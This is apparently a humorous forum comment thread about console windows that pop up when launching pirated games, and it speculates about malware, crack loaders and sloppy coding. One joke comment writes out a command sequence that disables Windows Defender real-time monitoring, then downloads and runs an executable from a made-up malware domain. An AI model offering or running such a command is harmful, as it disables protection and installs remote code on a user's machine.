It's just setting up a keylogger so it can help you when you suck at your new pirated game :)
Wait... What's the truth.....
- Set-MpPreference -DisableRealtimeMonitoring $true curl https://malwarefo.ru/supertrojan.exe ./supertrojan.exe ./game.exe exit 0
  
  But I don't want a super Trojan : -(
  
  Is there a way to remove it or stop it from happening?
  
  This answers nothing
- Real answer is just that they're executing a process without setting the window style to hidden. It doesn't mean anything other than the dev is lazy / inexperienced.
- Probably mining for bitcoin
  
  Free game providers can have a little bitcoin, as a treat
- Do you really want to know the truth or do you want to play your new game \o/
- I always thought it was running anti-"anti-piracy" measures before launching the game. I suppose it could be malware too, which seems like what the meme is getting at.
Ah yes, Windows...

Not only for viruses, I saw legitimate software creating those console windows to run.
- Good spyware doesnt show those either, they're not a sign of malware but of sloppy coding.
  
  Not always. Having spent significant time of the entire projects to hide console and powershell windows, I think Windows is just crap.
- I'm pretty sure some drivers do that
  
  My work PC does it on boot. Opens and then closes like 8 command windows.
Even if I am pretty sure I'm not getting a virus, I'm always nervous when that happens regardless of the program on my desktop.
The crack uses dll-injection, needs to be applied each game launch.
Dingers!
I once found a fully cracked version of Window XP on Pirate Bay....
- 👌
  
  I fucking did it was tenish year ago. Ran it in a vbox for the fun of it. Oddly it was the best windows experience I ever had. Can't say how much malware was in it though.
  
  And yes I forgot an s so fucking sue me champ
hard power down like Barry Allen; rips phone cable out of wall (and rj45 in half); runs to router and rips entire power strip out of wall; safe mode with no idea if this helps; blindly searches for very new or old .bat files; tries to figure out how to search entire registry by recent; sob; play eu1 or whatever it was 30 yrs ago
